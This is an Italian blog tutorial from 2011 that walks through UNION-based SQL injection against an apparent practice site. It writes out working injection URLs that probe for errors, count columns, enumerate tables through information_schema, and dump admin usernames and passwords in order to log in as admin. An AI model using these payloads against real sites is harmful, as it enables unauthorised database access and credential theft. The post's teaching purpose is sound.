venerdì 1 luglio 2011

SICUREZZA:SQLinjection

Salve a tutti e scusate(come sempre) la lunga attesa.Dire che sono stato occupato con la scuola è una bugia...perchè è FINITA!(WOW...4settimane dall'ultimo articolo devo rimediare...SUBITO!!!) :D
Comunque...in questo articolo parleremo delle SQL injections.
Prima però dobbiamo sapere COSA SONO e COSA FANNO.
Una SQLinjection è  l'inserimento di codice NON previsto all'interno dei database mySQL o msSQL.
L'utilizzo di questi "codici aggiuntivi" sfuttano falle di programmazione lasciate dai programmatori.

Prima di passare "all'attacco" fatevi spiegare come è strutturato un database mySQL(che sono quelli più usati).
Immaginate un database come un foglio di excel.Anzi apritelo!
Appena aperto noterete in basso delle "tabelle" con scritto "Sheet 1" o "Foglio 1" o cose simili.
Questi "fogli" (chiamiamoli così..) in SQL vengono chiamati "Tables".
Ora,apritene uno...noterete che avete RIGHE e COLONNE.Lo stesso vale per un database.
Ci sono le colonne,le righe e i "fogli"(tables).


ATTENZIONE!L'AUTORE DELLA GUIDA(GHEBBO_HCK) NON SI ASSUNE NESSUNA RESPONSABILITA' DELL'USO INAPPROPRIATO DELLE INFORMAZIONI QUI CONTENUTE.
LA GUIDA HA UNO SCOPO ESCUSIVAMENTE INFORMATIVO/DIDATTICO.


Guardate quest'immagine.E' un foglio di excel(in realtà è OpenOffice...ma poco importa).
Immaginate che questo sia un database,ricordate però che un database è formato da più "tables": 

Ogni database ha un nome(da ora in poi db_name) e delle tables(da ora in poi db_tables) e che queste tables hanno delle colonne che contengono le informazioni.
Solitamente le passwords sono criptate,quindi non troveremo la password "in chiaro" ma troveremo soltanto un HASH*.

*HASH:è un codice univoco che rappresenta una determinata stringa.

Ora passiamo un po alla parte "importante" =).
Come si fa a scoprire se un sito è vulnerabile?
Non si dovrebbe scoprire(hehehe) =)!Agli amministratori non piacciono qeuste cose(è come dirgli che non sanno fare le cose sicure).
Comunque,ora passiamo alla pratica!

Andiamo su questo sito: http://217.23.1.219/sql_injection/vr1/
Qui potremo esercitarci legalmente! :)

In questo "tutorial" andremo ad utilizzare il metodo GET,usato dal protocollo HTTP.
Questo consiste nel ricevere i "parametri" direttamente dall'URL.
Quindi indovinate un po dove andremo a scrivere le nostre injections...esatto...nella barra dell'URL.Semplice no?
Una volta andati sul sito selezionate un item(ad esempio 1) e vedrete una normale schermata che vi mostra le informazioni sul "prodotto"...
Ora guardate la string dell'url,dovrebbe essere qualcosa di simile:

http://217.23.1.219/sql_injection/vr1/store_items.php?id=1


noi non dobbiamo fare altro che aggiungere un apice alla fine,per vedere se è vulnerabile(approfondirò in seguito il motivo dell'apice).
Avremo quindi:

http://217.23.1.219/sql_injection/vr1/store_items.php?id=1'


noteremo che ora il database risponde con un errore(gli errori sono "generalizzati" con la stritta "Nice try ;)" quindi se la leggete,sostituitea mentalmente con "DB_Error").
Questo "Errore" è ORO per noi,visto che ci indica che il database è vulnerabile...

Ora però ci serve sapere quante "tables" ha il nostro bersaglio,percè dentro le tables ci sono le colonne,che noi vogliamo leggere(guardare l'immagine sopra e capirete cosa intendo) per farlo basta scrivere:

http://217.23.1.219/sql_injection/vr1/store_items.php?id=1 order by <N>--

Dove <N> è il numero che vogliamo trovare.Come fare?Qui serve solo fare un po di tentativi...
Le "REGOLE" sono queste:
  • Numero <N> troppo alto    = errore ("Nice try ;)").
  • Numero <N> troppo basso/corretto = hai "indovinato" il numero oppure è troppo basso.
Quindi dobbiamo trovare IL NUMERO PIU' ALTO CHE NON CI DIA UN ERRORE.
Dateci dentro!
Il prossimo passo è "unire" tutte le tables che abbiamo trovato(che sono 3!).
Questo ci consentirà di vederle tutte insieme e fare qualche injection.
Ecco il come fare: 

http://217.23.1.219/sql_injection/vr1/store_items.php?id=1 union all select 1,2,3--


I parametri che stiamo fornendo(union all select 1,2,3--) servono a dire al database di unire tutte le tables(union all) selezionate(select 1,2,3).

Dovreste avere davanti una pagina leggermente "alterata".

Per poter iniziare a "leggere" però ci maca ancora una cosa:il db_name(e già che ci siamo anche la versione =P ).
Per farlo basta modificare il precedente codice:

http://217.23.1.219/sql_injection/vr1/store_items.php?id=1 union all select 1,database(),@@version--

Ora possiamo leggere nella pagina il db_name(che dovrebbe essere sqlinject) e la versione =).

La prossima parte potrebbe risultare leggermente contorta a prima vista,ma non vi preoccupate!
Digitate:

http://217.23.1.219/sql_injection/vr1/store_items.php?id=1 union all select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_name='admin')--

Con questo abbiamo la lista completa di tutte le tables(admin,defaces,shop,sql_users) e,in aggiunta la lista delle colonne della tabella ADMIN(id,username,password,email).Prima di continuare però ecco cosa "legge" il db:"seleziona il gruppo table_name(select group_concat(table_name)) dall'information_schema,sezione tables(from information_schema.tables) dove table_scheme è compreso nel database(where table_schema=database())".
La seconda parte è più o meno uguale solo che legge le colonne =).

Ora non ci resta che leggere le colonne...vediamo un po...quali vogliamo leggere(hehehehe,qui subentra l'indecisione!)?
Andiamo a leggere username e password dell'admin =)...
(questa parte è stata riformattata usando dei tag html,quindi vi sarà più facile leggere i dati =) )

http://217.23.1.219/sql_injection/vr1/store_items.php?id=1 union all select 1,(select group_concat(id,' Username:',username,' Password:',password) from admin) ,'Fine! =)'--

Ora non ci resta che vedere se l'username e la password sono corretti.Andiamo qui,inseriamo i dati ed il gioco è fatto:

http://217.23.1.219/sql_injection/vr1/admin.html


APPROFONDIMENTI:

Ora come promesso,vi spegherò come mai si usa l'apice e come mai si usano i due trattini(--).
L'apice si usa perchè genera un errore.Infatti se,per esempio il database legge:

id='1'

aggiungendo un apice avremmo:

id='1''

che è un errore,visto che apriamo e NON chiudiamo un eventuale secondo apice =).
Per quanto riguarda i trattini,in mysql tutto quello che li segue è un commento,quindi non viene preso in considerazione dal browser,quindi se per esempio c'è scritto :

id=1 --tanto non lo leggi =P

viene letta solo la parte "id=1".Aggiungendolo ala fine di ogni injection sappiamo che eventuale codice di verifica viene "commentato" e quindi ignorato.

Con questo concludiamo l'articolo...spero di esservi stato "utile".
Se notate qualunque tipo di errore,vi prego di segnalarlo.Grazie.


Nessun commento:

Posta un commento